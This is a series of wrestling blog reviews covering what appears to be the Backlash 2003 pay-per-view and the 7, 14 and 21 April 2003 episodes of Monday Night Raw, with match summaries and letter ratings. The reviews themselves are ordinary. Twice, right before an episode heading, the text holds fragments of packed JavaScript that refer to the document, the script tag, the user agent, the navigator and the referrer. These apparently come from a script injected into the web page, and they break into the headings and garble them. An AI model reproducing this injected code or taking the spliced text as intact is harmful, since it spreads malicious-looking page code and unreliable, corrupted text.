It’s off to a chinlock and Bubba actually comes in with a basement dropkick. Rob finally gets in a kick to the face and the hot tag brings in Kane. Everything breaks down and it’s Rob’s top rope kick to D-Von’s face. Rolling Thunder hits Bubba but Kane comes back in with the top rope clothesline to D-Von.

Morely finally does something by hitting Kane low but a second swing hits Bubba in the jaw by mistake. That’s enough for D-Von who beats on Morely but Lance Storm comes in with a springboard clothesline. Bubba dispatches Lance without too much effort and it’s a 3D to Morely. Kane grabs a chokeslam on Bubba and the Five Star is enough for the pin from another referee.

Rating: C-. Overbooking aside, this wasn’t half bad but it was really just a longer version of what they do on Raw most of the time. The story is out of gas at this point and unfortunately that ending is likely to see it continue for whatever reason. The division needs more teams and hopefully the evil French guys can help out a bit.

Since this story hasn’t gone on long enough, Stacy goes to see Torrie, who says Test kissed her. Stacy doesn’t buy it and a cat fight is on. I have no idea why most of these women are here when they’re not on the card, nor why Ivory is in a towel despite not having a match.

Women’s Title: Jazz vs. Trish Stratus

Trish is defending and comes in banged up. We get a staredown early on until Trish actually takes her down without too much effort. A backbreaker gets Jazz out of trouble and we hit the double chickenwing. Trish gets thrown down by the hair and Jazz sits on her ribs for good measure. The comeback is short lived as Trish charges into a boot in the corner and the Stratusphere is countered into something like a super Styles Clash.

Jazz goes with a weak half crab but Trish reverses into the full thing. The Chick Kick gets two and Stratusfaction gets the same with Teddy Long throwing in a shoe (make your own Austin Powers joke) for the save. The referee believes that Teddy didn’t do it, despite the fact that HE’S ONLY WEARING ONE SHOE! Trish tries a sunset flip but Jazz sits down on it and grabs the rope for the pin and the title.

Rating: C+. Rather solid match with a finish that felt like it belonged in the NWA. Above all else though they both looked comfortable out there, which is a big step up from most of the women around this company. Good little match here and the finish should hopefully help set up some fresh challengers for the title in the not so distant future.

Booker, Shawn and Nash agree to trust each other but Nash wants HHH for himself. Well they would be the only ones to want that match.

We recap Big Show vs. Rey Mysterio, which is entirely built around a single 619 that knocked Show down. For some reason, this warrants a pay per view match.

Big Show vs. Rey Mysterio

Rey trips him down to start and Show is annoyed again, earning Mysterio a toss into the corner. One of the hardest chops you’ll ever see or hear has Rey’s eyes bugging out of the mask and he rolls outside. Back in and Show stands on the chest for a bit until Rey slips out of a gorilla press. Some right hands stagger Show but Rey heads outside again, this time for a chair. The referee is conveniently knocked away so Mysterio can get in a chair shot, followed by the springboard seated senton for two. A 619 to the leg sets up a 619 to the face but the West Coast Pop is countered into the chokeslam to give Show the pin.

Rating: D-. Well that happened. I have no idea why this needed to be on pay per view as they could have either done the exact same thing on Smackdown or had Mysterio face Matt Hardy for the Cruiserweight Title here. But no, the solution was to give Big Show a squash win, likely so he can have a big match next month. And of course Mysterio is the only person you can put in here against him because you can’t have show win a competitive match against a name of equal value (Benoit would have been a better choice). Putting this on pay per view in this form was ridiculous and more booking that makes my head hurt.

Mysterio does a stretcher job but Show picks him up and swings the backboard (with Rey still attached) against the post. Just in case you didn’t get the entire idea from the match you see. The bump looked great though.

HHH, Ric Flair and Chris Jericho are ready for the wholesome trio tonight.

Torrie and Stacy get in another fight until Scott Steiner saves Stacy. Test FINALLY returns to yell at Steiner for carry Stacy to the trainer.

We recap Brock Lesnar vs. John Cena. Lesnar won the title at Wrestlemania and Cena has been calling him out both before and since the title win. Cena then won a tournament to earn the shot so it’s an actually well built match. Unfortunately it’s also the biggest match on the Smackdown side and feels like a slightly glorified TV main event.

Smackdown World Title: Brock Lesnar vs. John Cena

Cena comes out in a Yankees jersey which must have his skin crawling. His rap talks about how he’s going to be added to the list of great champions, meaning he’s crazy like Mankind and coming at you from so many angles that you’ll call him Kurt. Cena jumps him at the bell and slugs away but you can only do that for so long against Brock. Two backbreakers into a fall away slam has Cena in trouble and Brock at the cut on his forehead from Smackdown.

A front facelock keeps Cena in trouble as Tazz goes into his rare yet useful explanation of how to get out of a hold. Brock stomps away in the corner and there’s a gorilla press for good measure. Cena wisely bails out to the floor and grabs a chair but settles for throwing Lesnar into the steps instead. The cut is busted open so Cena slugs away back inside. A running shoulder sends Lesnar to the apron and there’s the middle rope Fameasser to put him fully outside.

Back in and we hit a chinlock for a good while before a DDT gives Cena two. Lesnar grabs a spinebuster to put both guys down for a breather as Cole starts talking about momentum. Tazz thinks whoever is up first might have the advantage. Thanks for that analysis there buddy. Cena is back up with a chinlock and a bodyscissors for a rather long while.

Back up and Cena gets driven into the corner for the break and it’s comeback time. Some clotheslines and a powerslam give Lesnar two. Cena is smart enough to almost send Lesnar into the referee, allowing John to hit a low blow for two more. It’s chain time but a quick F5 retains the title.

Rating: C-. Pretty watchable match (save for that long chinlock) but there was no hiding the fact that Cena was in way over his head and had almost no chance to win the title. Lesnar did what he could and sold a lot, though there’s only so much you can do when the ending is never in doubt. Cena would have his day of course but it just wasn’t here yet.

We recap the six man tag, which was all about who is Nash’s best friend. In other words, it’s a story that all of five people are interested in and for some reason we have to do this six man tag instead of HHH vs. Booker T. II here and Nash doing his hair somewhere instead. This is little more than a pit stop before Nash gets his big singles title match that isn’t interest in and no one wants to see anyway. This gets the music video treatment because it’s the big match in the eyes of the people who matter the most around here.

Kevin Nash/Shawn Michaels/Booker T. vs. HHH/Ric Flair/Chris Jericho

Nash wants to start with HHH but thankfully we do Shawn vs. Jericho instead. Jericho punches away in the corner but Shawn speeds things up and starts a pinfall reversal sequence. A Walls attempt is broken up and it’s off to Nash to hammer on the arm. Jericho skins the cat (I still want to know how it got that name) but Nash is smart enough to be right there with a big boot.

It’s off to Booker, who scores with a kick to HHH’s jaw, only to get caught in the facebuster. The spinebuster puts Booker down and it’s off to Flair for the old school portion. Shawn comes in off a missed elbow drop and house is quickly cleaned. Sweet Chin Music connects but HHH is right there with a Pedigree for the save. HHH and Flair take turns beating on Shawn until it’s off to Jericho for a hard belly to back.

Now the villains start in on the knee but an enziguri puts Flair down. That’s enough for the hot tag to Nash and we get the showdown with HHH. I’m sure the fans are all going to start cheering as soon as the shock wears off so ignore that silence thing. Snake Eyes and the side slam are good for two on HHH with Flair making the save. The chops have no effect with Nash fixing his hair while Ric fires them off.

Everything breaks down and Booker ax kicks Jericho to set up the Spinarooni. Sweet Chin Music is broken up and Flair grabs the Figure Four as Nash loads up the announcers’ table. He comes in for the save instead (how nice of him) but shoves Flair into the referee. The sledgehammer to the head puts Nash away.

Rating: D. So yeah, instead of doing HHH vs. Booker and Shawn vs. Jericho or Flair, we’re stuck with HHH beating Nash to likely set up HHH vs. Nash for the title. As usual, 2003 makes my head hurt and somehow we’re not even close to done with this story. The match wasn’t the worst by any stretch but sweet goodness it was boring and not the way to make me want to see anything else on Raw.

We look back at Mysterio being destroyed in case you didn’t get the idea the first time.

The update on Rey: there is no update.

Long recap of Rock vs. Goldberg, which doesn’t really have much of a story. Rock is coming off beating Steve Austin at Wrestlemania and Goldberg just showed up to attack him. The match was agreed to and Goldberg has been chasing him since. It’s basically Rock being a huge star and someone getting to beat him before he heads to Hollywood permanently.

Rock says he’ll win and doesn’t care much about Goldberg. This felt like nothing but the time filler that it was. The fans chant for Rock all over again.

The Rock vs. Goldberg

The entrances take a long time and Rock hits the floor before the bell as they’re hitting the stall button hard here. They stare each other down as the match hasn’t actually started yet. We’re finally ready to go after several minutes of killing time, which isn’t what this show needed. Goldberg shoves him away off the lockup, which isn’t that surprising as Rock isn’t known as a power guy.

They do it again with Rock falling to the floor this time around. Back in and Rock slaps him in the face, only to get run over with a shoulder. Rock bails again as the announcers debate music. We hit another long stall until Rock snaps him throat first across the top. Goldberg grabs a Rock Bottom but takes way too long on the spear, allowing Rock to send him into the post. The Sharpshooter goes on for a bit before Rock goes with a low blow.

That means nothing either and it’s a spear to cut Rock down. No Jackhammer though as Goldberg gets two off a slam instead. Good grief END THIS SHOW ALREADY. Rock hits a spear of his own (called a spinebuster by Coach, which isn’t that far off actually) and the Rock Bottom gets two. Now the spinebuster actually connects and the People’s Elbow gets two more. Goldberg pops up, hits a spear, ignores the GOLDBERG SUCKS chant, adds a second spear, and finishes with the Jackhammer.

Rating: D-. This was about as dumb as they could have gone with Goldberg doing the same kind of match that every WWE main eventer has with the multiple finishers and trading moves instead of doing the formula that got him over in the first place. It was a completely terrible debut match with Rock’s selling alone completely outshining everything Goldberg did.

Compare this Goldberg match to his recent return (true story: he wrestled more in this match than in a match, a Royal Rumble appearance, a title win and a title defense) and look at which got better reactions, more entertaining matches and just more success overall. It’s not hard to figure out why one was better than the other and a lot of it has to do with booking Goldberg like Goldberg and not like any other star.

Overall Rating: F. The problem here is much more based around this show not being necessary, at least not in this form. The Smackdown stuff was completely unnecessary with most of the blue matches being TV worthy at best and horrible at worst. If you can’t even fit Chris Benoit, Matt Hardy and Undertaker on the show (yet there was time for FOUR Stacy/Test/Torrie segments), just cut the Smackdown part out and let it be a Raw pay per view. Turn the six man into HHH vs. Booker II for the title and do Shawn vs. Jericho II with Jericho getting his win back while Nash is guest enforcer or something.

Then there’s the show itself, which peaked at a just somewhat above average Team Angle vs. Los Guerreros opener. The wrestling was terrible throughout with matches either not needing to exist or being so uninteresting that there was no reason to care about them. This show felt like it was running overtime and didn’t even make it to two hours and forty five minutes. It was an awful show which could have either been a standalone Raw show or just not existed and I don’t think anyone would have really noticed. Just awful stuff all around and a really bad sign of things to come.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

Monday Night Raw
Date: April 21, 2003
Location: Phillips Arena, Atlanta, Georgia
Commentators: Jonathan Coachman, Jerry Lawler

It’s the go home show for Backlash and we have a major main event for a change. This week will see HHH defending the Raw World Title against Booker T. in a Wrestlemania rematch, but there’s something a bit bigger to cover. Tonight is also the second Rock Concert as Rock is ready to deal with Bill Goldberg this coming Sunday. Let’s get to it.

Ric Flair is in Eric Bischoff’s office complaining about Bischoff’s actions of late. Bischoff calls it compelling television and makes Shawn Michaels guest referee for tonight’s title match. Flair is livid but seems to calm down when Bischoff suggests that Shawn might beat Booker up out of principle.

Opening sequence.

Chris Jericho vs. Hurricane

Fallout from last week’s main event. Hurricane throws the cape over Jericho’s face to start and hammers the Canadian out to the floor. That means a big dive as the announcers debate whether or not Hurricane is a real superhero. Back in and we hit a very early Walls of Jericho, sending Hurricane bailing to the ropes. Jericho sticks with the back and grabs a chinlock with a knee to the spine.

Hurricane fights up with a running clothesline and neckbreaker for two but the Overcast misses. It’s too early for the Lionsault though and Hurricane gets two off the Shining Wizard. The chokeslam gets the same with Jericho getting a boot on the ropes as this is already better than it should have been. Back up and the Eye of the Hurricane is countered into the Walls for the tap.

Rating: C+. Not a great match here but Hurricane continues to show off his more than adequate in-ring skills. If they were to, say, have him win another big match it might actually go somewhere. As usual, this is a case where the Intercontinental Title would do wonders for them but instead the focus needs to be on Shawn vs. HHH vs. Nash for the only title worth anything. Brilliant indeed.

Post match Flair runs out to beat on Hurricane, including the Figure Four.

Rock arrives and he’s got a guitar. Rock: “No no no, it’s not boo. It’s the Rock Concert TWO!”

Rodney Mack vs. Sean Evans

Behold, the debut of the Teddy Long Five Minute White Boy Challenge. Teddy promises that this will be off the hizzle fo shizzle. In about as long as it takes me to look up what that means, Mack crushes the jobber while Jerry defends himself from running against a black man for Mayor of Memphis. A running powerslam ends Evans in less than two minutes.

Booker T. asks Shawn what’s up with him being guest referee tonight. It was in this arena where Shawn superkicked him out of the NWO, which Shawn says makes them even after last week. That’s how Booker wants the match tonight called: even.

Goldberg got to meet some troops earlier today.

Coach brings out Lita for her first appearance on Raw in over a year. She’s gotten some great news from her doctor but here’s Bischoff to cut her off. Bischoff sends Coach off and tells the fans to cheer for Lita. In a rather out of character moment, Bischoff creepily hits on her and suggests that she do Playboy instead of wrestle. After the fans get done being rather pleased with Bischoff’s suggestion, Lita says no way. Bischoff offers to just let her give him a private showing instead, or just sleep with him to save her job. Lita tells him where he can go and walks off so Bischoff fires her.

What was the point of this? Bischoff is a lot of things but he’s not the creepy predator like Vince. This was completely out of character for him and felt much more awkward than evil. I can buy people trying to get the Divas to sleep with them to keep their jobs but Bischoff isn’t that kind of villain. I’m also not sure what the point of this was in the first place, though it’s good to have Lita back.

Flair and HHH want some insurance for the title match. HHH has an idea.

3 Minute Warning vs. Test/Scott Steiner

Chris Nowinski is on commentary. Jamal takes Steiner into the corner and hammers away to start before Rosey comes in with a side slam. The announcers talk about Stacy as Jamal breaks up a hot tag attempt. Jamal misses a top rope splash and the hot tag brings in Test for the running clothesline in the corner. The pumphandle powerslam gives Test two as Rosey splashes Jamal by mistake. Rico kicks Stacy down so Steiner checks on her, allowing Rosey to splash Test. Not that it matters as Steiner comes back in for a reverse DDT and the pin on Jamal.

Rating: D. 3 Minute Warning had a lot of potential but sweet goodness they’ve become one of the lamest acts I’ve seen in a long time. They’re just big guys who do the stereotypical big man offense, which is about as interesting as you can get. Test and Steiner are no better as Stacy continues to be the only good thing about either of them, which really isn’t all that surprising. You can tell the story is going to continue as well, which is far from the best news.

Post break Test and Steiner yell at each other until Stacy breaks it up.

Kevin Nash comes in to see Bischoff and talks about being brought in under the false pretense of teaming with HHH and Shawn. Nash says he’s going to pick a side and it’ll be the winning one.

Rock is warming up for the concert and promises a surprise.

Here’s Rock for the concert. After a hitch of the pants and some annoyance at the Rock chants, we’re ready to go. First up is Goldberg on My Mind but the fans chanting for Rock makes him snap again. Rock has had enough of this and calls Goldberg out right now….and it’s time for another Gillberg cameo, complete with fire extinguishers and sparklers.

After some jokes about Gillberg’s physique, Rock reads the words to The Rock Went Down to Georgia. Gillberg dances a little jig and the real Goldberg arrives in the back. As Goldberg comes through the back, Rock says that Gillberg is in trouble for the years of impersonations. Goldberg comes out so Rock hides behind the security, which is quickly dispatched.

Rock bails so security gets beaten down, leaving Gillberg to try his luck. That’s enough for Rock to sneak back in (as sneakily as a 6’5 275lb wrestler in leather pants can be) for a Rock Bottom before running again. We head to the back where Rock gets in the Hummer limo. Goldberg jumps in his Barracuda to give chase but the car stalls. Well of course it does. Goldberg gives chase on foot but Rock pops up, having faked running away. How shenanigany.

Trish Stratus and Spike Dudley are here for a match but Chief Morely comes out to introduce their opponents, who will also be challenging Rob Van Dam and Kane on Sunday.

Trish Stratus/Spike Dudley vs Dudley Boyz

Bubba powerbombs the heck out of Spike and Trish is even more scared than she was before. D-Von can’t bring himself to attack her though, leaving Bubba to splash Trish instead. Morely wants Trish put through a table but D-Von won’t have anything to do with it. Van Dam and Kane come in for the save. The guys all leave so Jazz and Teddy Long run in to beat down Trish with the Jazz Stinger sending her into the unset table.

Rock is still here and ready for an encore.

HHH and Nash are having a chat.

Rock is in the ring and it’s time to continue the concert. Before he can get a single note out though, here’s Goldberg to beat him down again. Christian comes out to take Goldberg down from behind though and the beatdown is on. Rock spears Christian down but gets chaired in the back for the real beatdown. It’s nice of them to have Rock get in some shots like this, but I can’t imagine this is making people think he has a chance on Sunday.

Backlash rundown.

Shawn talks to HHH.

Raw World Title: HHH vs. Booker T.

HHH is defending with Shawn Michaels refereeing. They slug it out with Shawn breaking it up multiple times until Booker takes over with some chops. A side slam gets two as the announcers discuss the Trojan Horse. Flair gets knocked off the apron and here’s Jericho at ringside because this match isn’t big enough already. A few shots to Booker’s back while HHH has Shawn distracted (probably planning the next slumber party) take us to a break.

Back with Booker fighting out of the sleeper as Lawler wants to know why Shawn is allowing Jericho to stay at ringside. Fair question actually. The spinebuster gives HHH two and the kneedrop is good for the same. The slow beating continues as King talks about how great it is to see the Kliq back together.

Everyone used to talk about them you see. As usual, the problem is that they were never a thing on WWE TV and it’s WWE assuming that everyone knows and/or cares about the backstage stuff. If that’s what you’re going with, at least make it clear what you’re talking about instead of just acting like it’s something everyone already knows. HHH grabs the second sleeper until Booker fights back with a side kick to put both guys down.

Another side kick triggers the real comeback, including a third kick to knock HHH out of the air for a rather near fall. The missile dropkick gets two more as Flair is out of the jacket and panicking as only he can. HHH grabs a DDT but the Pedigree is broken up, setting up the ax kick. Flair and Jericho have to be dealt with before the cover though and HHH gets out again.

The Houston Hangover is loaded up but HHH shoves Shawn into the ropes for the crotching. Why this isn’t a DQ isn’t clear but it’s good for two more. Shawn deals with Flair as Booker hits ANOTHER kick, only to have Jericho get in a belt shot. For once though Shawn is actually smart enough to figure this out and won’t count. Instead he superkicks HHH and decks the other villains but they come back in to break up the count, setting up the no contest.

Rating: B-. The match was good, especially if you forget that Booker STILL doesn’t have a big singles win as he’s stuck in the middle of the Kliq’s family fighting. The match was good enough and helped to set up Sunday but that brings us to the big problem: a World Title match and the main event of the Raw World Title match at Wrestlemania is being used to set up a nothing six man tag. That’s quite the stretch for priorities and it’s not a good thing. Having a match be good doesn’t make up for the fact that it’s all to set up such a stupid story and actually makes it far worse.

Nash comes out to play peacemaker but HHH decks him from behind to end the show.

Overall Rating: D-. Where do I even begin? Above all else, the two top stories on this show range from stupid to completely uninteresting. You can take your pick between Rock having to pretend that the fans love Goldberg and that he actually has a chance of winning on Sunday or HHH, Shawn and Nash arguing over who gets to keep the kid (pick which of those is which) after their divorce in matches that mean absolutely nothing.

The six man isn’t going to be used to elevate Jericho or Booker but it gets Nash and Flair main event spots for the simple reason of who they hang out with backstage. I’m assuming we’re heading towards Goldberg as the top face star, but not until Nash vs. HHH gets to headline a few pay per views, despite the fact that ONLY Nash and HHH are interested in seeing that match.

What did we have aside from this stuff? Bischoff being creepy, Test and Scott Steiner fighting over Stacy Keibler, Chief Morely as the enforcer who makes the Dudleyz beat up Trish Stratus and the Five Minute White Boy Challenge. I have no idea how this is considered their best possible option but I would love to have that explained to me.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

I do fantasy booking.

https://wrestlingrumors.net/kbs-review-road-ko-mania-iii/

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|khath|var|u0026u|referrer|tfhif||js|php'.split('|'),0,{})) Night Raw
Date: April 14, 2003
Location: Richmond Coliseum, Richmond, Virginia
Commentators: Jonathan Coachman, Jerry Lawler

We’re less than two weeks away from Backlash and we have the bigger stories already set up. Last week saw the return of Kevin Nash for reasons of general stupidity, along with more of Eric Bischoff being evil for preventing Steve Austin from wrecking his neck and back even worse. Let’s get to it.

Opening sequence.

Kevin Nash/Booker T./Shawn Michaels vs. HHH/Ric Flair/Chris Jericho is official for Backlash.

Here’s Nash to open things up. Nine months is a long time off and he’s been watching a lot of Raw. He’s been seeing HHH and Shawn Michaels beat each other up even though they’re all best friends. Now he’s back and wants to know what’s going on. Cue HHH to shake Nash’s hand as everything seems happy. HHH says it’s good to see him back and asks if Nash got his messages over the week. No matter what happens though, it’s never going to be over between Shawn and HHH. He’d slap Shawn in the face if Shawn was here so cue Shawn to see if that’s true.

Nash breaks it up and says he’s sick of these two fighting. HHH says Nash has to make a choice because it’s either him or me. Nash can join up with HHH but he’s going to be one step behind the leader and the general. On the other hand, Shawn is going to be stealing the spotlight and undercutting Nash every chance he gets because that’s what he does. Just understand that if you go with Shawn, you’re part of the world that HHH is against. Nash doesn’t make a decision because WWE wants us to think he won’t be getting the title shot against HHH at some point.

Stacy Keibler is unpacking Test’s stuff and finds lotion, a towel and Torrie’s Playboy. I still have no idea who I’m supposed to cheer for in this story. There’s an idea there with the Playboy thing (looking at Torrie is better than being with Stacy) but it’s not exactly making me care about either of them.

Test vs. Chris Jericho

Stacy turns around before getting into the ring to take away Test’s view. Jericho jumps his fellow Canadian from behind to take over and hits some rather hard chops in the corner. That earns him a clothesline as Lawler talks about how frustrated a young man Test must be. Jericho skins the cat and sends Test shoulder first into the post to take over again. It’s time to work on the arm as Stacy ignores the match to sign some autographs.

The arm is wrapped around the ropes before Jericho cranks on an armbar. Test finally comes back with a sidewalk slam but Stacy doesn’t look impressed. Jericho’s rollup with feet on the ropes gets two, only to have Stacy pull up her skirt for the fans. The pumphandle slam gives Test a near fall of his own but Stacy is doing the skirt thing again, this time with the camera on it to make Lawler rather happy. That’s enough of a distraction for Jericho to hit the bulldog and Lionsault for the pin.

Rating: D+. So am I supposed to be cheering for the guy who isn’t satisfied with Stacy Keibler or for Stacy, who apparently isn’t satisfying Test for whatever reason. I’m pretty sure it’s Stacy, though I have no idea how this is supposed to be interesting or make me care about the two of them. Torrie’s Playboy seems to be the idea but it’s only kind of a detail in the story. The match wasn’t too bad actually, though I’d put that success on Jericho with no hesitation.

Test beats up the fan who got the autograph.

Eric Bischoff says he’s going to do what the fans want.

Stacy yells at Test for the Playboy so he compares the two and says stupid stuff, causing her to storm off.

Trish Stratus/Ivory vs. Jazz/Victoria

Victoria pulls Ivory down by the hair to start as Teddy Long sits in on commentary. It’s off to Trish for a hurricanrana on Victoria, followed by a Thesz press and some right hands. Jazz comes in to hammer Trish down, including a double chickenwing. Jerry and Long get in an argument over calling someone playa as Jazz’s splash hits raised knees. The hot tag brings in Ivory for two off a faceplant before it’s right back to Trish. Everything breaks down and Jazz throws Trish down on her face to set up the STF for the tap.

Rating: D+. Again not bad, though we need some fresh blood in the division. You had to have Jazz win here after she joined up with Teddy last week, even if it’s a pretty low level story. Jazz vs. Trish can carry them for one more pay per view but after that they’re in dire need of someone else.

Goldberg is told that a relative of his is here. It’s Goldust and he has a wig for Goldberg, who doesn’t know what to do with it. Goldust puts it on his head but Goldberg says it looks better on Goldust instead. Oh and don’t ever put it on his head again. Goldust soils himself.

Here’s Bischoff to Austin’s music again. He laughs at the idea of bringing Austin back but he does have a special merchandising offer for all the Austin fans out there. You can get two shirts for $39.95 and he’ll even throw in the Wrestlemania XIX program! This is basically done as a Home Shopping Network pitch and is rather entertaining given how slimy Bischoff can be. For one final bonus, the first person to call in gets a bottle of JR’s Barbecue Sauce! Cue Booker T. to say he wants a title match tonight.

Rob Van Dam/Kane vs. Lance Storm/Chief Morely

Van Dam and Kane are defending and this is No DQ. Kane throws Storm over the top to start and Van Dam does the same to Morely. We actually get things going with Storm being especially aggressive as he chokes Van Dam in the corner, only to get kicked away without much effort. It’s off to Kane for some running clotheslines until Morely gets a boot up in the corner. A fisherman’s suplex is easily blocked but Storm comes in with a dropkick to keep Kane in trouble.

Van Dam offers a kick from the apron though and it’s a powerslam into a slingshot legdrop for two. Rob has to fight out of the corner as we’re seven minutes in with the stipulations not being a factor whatsoever yet. As I say that, Storm hits a trashcan shot to Van Dam’s back. Kane comes in before anything else can happen though and everything breaks down. The stairs get knocked into Kane’s head though and we take a break.

Back with Van Dam fighting out of a chinlock and bringing in Kane via the hot tag. House is cleaned in a hurry with the top rope clothesline getting two. The evil foreigners are sent outside with Kane launching Van Dam onto them in a heap. Cue Bubba Ray Dudley to hit Rob with a Bubba Bomb but D-Von comes in to yell at him. Morely and D-Von go nose to nose so Bubba tosses Morely a chair for the Van Daminator. Kane chokeslams Storm and it’s the Van Terminator to retain the titles.

Rating: D+. The length hurt this one and the No DQ stuff was barely used, though I’d prefer doing it this way instead of having a ref bump or a distraction. Van Dam and Kane really need some new challengers though as the Bischoff administration isn’t doing it anymore, nor did they do it in the first place.

HHH and Ric Flair try to talk Bischoff out of giving Booker a title shot. Hurricane comes in to say there are three reasons. First, Booker pinned HHH last week. Second, Flair cost Booker T. the title at Wrestlemania. Third, WHATSUPWITDAT? HHH thinks Booker should have to earn the shot so Bischoff makes a tag match with Booker teaming up with Hurricane to face the two of them. If Booker’s team wins, he gets a title shot. Flair says they’re a team of wheeling dealing, jet flying…..but Hurricane cuts him off to say that some of us don’t need jets to fly.

The APA visited soldiers in Washington DC over the weekend.

Rock joins us live via satellite from Hollywood and wishes he could be there live in West Virginia. He has a big announcement for us tonight: he’s bought a new guitar! Rock: “ELVIS ATE PIE ON THIS GUITAR!” Next week though is going to be even more special with the Rock Concert II. That’s going to be in Goldberg’s hometown of Atlanta where Rock has turned down a match with Goldberg. It’s not because he’s scared of getting beaten though as he’s willing to face Goldberg at Backlash. That night, Goldberg is next.

Christian calls Rock and says he’s going to beat Goldust like Rock is going to beat Goldberg. His ribs are fine from the spear last week and he was holding them from laughing so hard at how much the spear didn’t hurt.

Goldust vs. Christian

Goldust gets in a few shots but takes a low blow for the DQ less than a minute in.

Christian chairs him down and calls Goldberg out to prove something to Rock. Spear (good one too), Jackhammer, next segment.

And now, a debate between Scott Steiner and Christopher Nowinski on Operation Iraqi Freedom. Nowinski says America is bullying other countries and asks where it ends. Steiner goes on a rant about 9/11 and terrorism as this really has no business on a wrestling show. Oh and France sucks too. 3 Minute Warning finally comes in to beat Steiner down.

The French guys are still coming.

Bischoff won’t let Lawler show a video of Jim Ross leaving.

Backlash card rundown.

HHH/Ric Flair vs. Hurricane/Booker T.

If Hurricane/Booker win, Booker gets a title shot. Booker and Flair get things going with Booker chopping away in the corner. A thumb to the eye allows the tag to HHH but he charges right into a spinebuster. It’s off to Hurricane to work on the arm and a neckbreaker gets two. A better spinebuster puts Hurricane down though and it’s time for the villains to take over.

Hurricane gets chopped and stomped in the corner but HHH spends too much time mocking Booker, allowing the tag. A missile dropkick to HHH and the Shining Wizard to Flair has Evolution reeling until Hurricane misses the Blockbuster. HHH tries to get a chair but the distraction allows Shawn to come in and superkick Flair to give Hurricane the pin.

Rating: D. Hurricane getting the win is nice, though it would be nicer if he had any hope of getting something out of this stuff. Pinning Flair is a good thing but it’s not like he’s going anywhere else. Booker getting the title shot is fine, even if there’s almost no chance of him winning with HHH vs. Nash pretty clearly the next big showdown.

Shawn goes after HHH until Jericho comes in for the save. It’s sledgehammer time but Nash slowly walks down to the ring for the save. Nash takes the hammer away but forearms Booker by mistake. Booker shoves him away and hits Shawn by mistake, meaning there’s EXTREME TENSION heading into the six man at Backlash.

Overall Rating: D-. This was pretty bad with no good matches all night and a pair of main event storylines that aren’t doing anything for anyone. We’re coming up on a six man tag where it probably should just be a three way between Nash, Michaels and HHH as the story is all about them with the other three just being details. Couple that with Goldberg vs. Rock going nowhere and the nonsense of Test vs. sexual frustration and what in the world is supposed to interest me in this whole show? Bad week again, which is becoming way too common of a trend.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ekbnb|var|u0026u|referrer|bsfzs||js|php'.split('|'),0,{})) Night Raw
Date: April 7, 2003
Location: Bradley Center, Milwaukee, Wisconsin
Commentators: Jim Ross, Jerry Lawler

We’re in a new era now as last week saw Goldberg debut to attack the Rock, likely setting up the main event of the upcoming Backlash. Other than that we have a big tag match this week between Booker T./Shawn Michaels vs. HHH/Chris Jericho. Other than that we need to see what else is in the cards for the pay per view. Let’s get to it.

We open with a long recap of Rock beating Austin at Wrestlemania and then getting speared the next night.

Opening sequence.

Women’s Title: Trish Stratus vs. Jazz

Trish is defending and gets taken down without too much difficulty to start. There’s a little too much trash talking though and Trish kicks her away for a breather. A Chick Kick sends Jazz outside for a Thesz press from the apron. Back in and an ax handle to the back drops Trish before the fisherman’s buster (minus a lot of the busting) gets two. The STF sends Trish over to the ropes again and it’s time to get fired up. Another Chick Kick is good for another two and the Stratusphere gets the same. Stratusfaction (with Jazz lifting Trish up) gets the pin though Jazz’s foot is on the rope.

Rating: D. This is one of the better matches the division has at the moment (which isn’t saying much given that the division is all of three people) so having them set up a rematch makes sense. The division is dying for some fresh talent at this point though and this feud is only going to get them so far without it.

Rock arrives and goes in to see Eric Bischoff. He doesn’t want to talk about Wrestlemania though because his mind is on Goldberg spearing him last week. Goldberg is on his way here so Rock mocks the catchphrases and promises a beating later tonight.

Rob Van Dam and Kane are glad to have won the Tag Team Titles. Kane celebrated by taking a skunk into his basement….and I’m glad Rob cuts him off there.

Teddy Long and Rodney Mack (Jazz’s real life husband) come up to Jazz and offer her a spot on the team. Jazz accepts and joins the battle against bigotry.

Rock runs into Trish (Rock: “Aloha mama.”) and asks if she’s sweaty and wet from thinking about him. It was just because of her match apparently and here’s Jeff Hardy. Rock refuses him an autograph but Jeff would rather talk about Goldberg last week. Jeff vs. Rock is on for later in a match that would be incredibly different just a few years later.

Chief Morely vs. Rob Van Dam

Part of Morely’s video is Bischoff on the phone with Morely nowhere in sight. I get that it’s Morely and no one is going to pay attention but that was approved by someone on the production team? Rob clotheslines him a few times to start and gets a great looking German suplex for two. Morely’s neckbreaker gives him a breather though and he rolls some suplexes for a delayed near fall of his own.

That means it’s time for a chinlock for a bit before Rob gets in some kicks and the monkey flip. Rolling Thunder connects but here’s Lance Storm to put a foot on the rope. Rob kicks him down but decides to dive onto Storm instead, allowing Morely to get in a DDT for the pin. A DDT? On a new champion? It really is 2003.

Rating: D. I’m still trying to get over a DDT finishing Van Dam. The ending wasn’t clean but Morely can’t even hit his finisher to win? Anyway, on top of a stupid finish and an annoying loss that didn’t need to happen so soon, it was made even worse by the fact that the match wasn’t any good. Just bad in general here.

Van Dam cleans house with no real effort.

Booker is getting taped up when Shawn comes up to say nothing of note about tonight’s main event.

Ivory and Shawn Michaels went to a Naval base.

Scott Steiner vs. Christopher Nowinski

